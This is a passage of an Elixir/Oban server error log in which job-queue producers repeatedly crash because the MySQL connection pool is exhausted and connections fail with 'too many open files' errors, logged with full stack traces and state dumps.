State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:52:21.240096Z], limit: 20, uuid: "7778d2e8-490f-4416-9fa0-b153170f003a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:21.240101Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59174>, refresh_timer: #Reference<0.2525715032.1077673987.59149>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:33.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:52:21.239625Z], limit: 5, uuid: "a1a62528-2797-40de-920e-4df757478f45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:21.239631Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59175>, refresh_timer: #Reference<0.2525715032.1068498948.85203>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:38.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:41.382000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:43.205000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:44.173000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:52:33.241181Z], limit: 20, uuid: "bb597808-9423-4eee-8b5e-03328f42c0ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:33.241186Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71487>, refresh_timer: #Reference<0.2525715032.1077673987.59255>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:52:33.238068Z], limit: 5, uuid: "525c437f-2146-4e5e-9f2a-61d5f3c07c30", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:33.238075Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71484>, refresh_timer: #Reference<0.2525715032.1099431938.71445>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:52:33.241541Z], limit: 5, uuid: "03a97c07-1b1b-4e79-9e0f-632591b5da6e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:33.241547Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71489>, refresh_timer: #Reference<0.2525715032.1068498948.85407>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:46.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:52:33.238300Z], limit: 50, uuid: "2dbec489-f73b-4ce6-8560-f11804e13678", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:33.238305Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71485>, refresh_timer: #Reference<0.2525715032.1099431938.71456>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:52:33.238581Z], limit: 10, uuid: "ad6a9b87-bb30-4124-96e3-108857be2c3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:33.238587Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71488>, refresh_timer: #Reference<0.2525715032.1068498948.85394>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:52:33.238068Z], limit: 3, uuid: "69ee307b-ea0a-4b89-898b-c45c307e4154", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:33.238075Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.71486>, refresh_timer: #Reference<0.2525715032.1099431938.71448>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:47.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:47.737000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:49.471000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:52.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:52:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:52:46.244342Z], limit: 5, uuid: "9f6638cf-6e36-45c4-b954-79109dacbb90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:46.244349Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59360>, refresh_timer: #Reference<0.2525715032.1077673987.59333>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:52:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
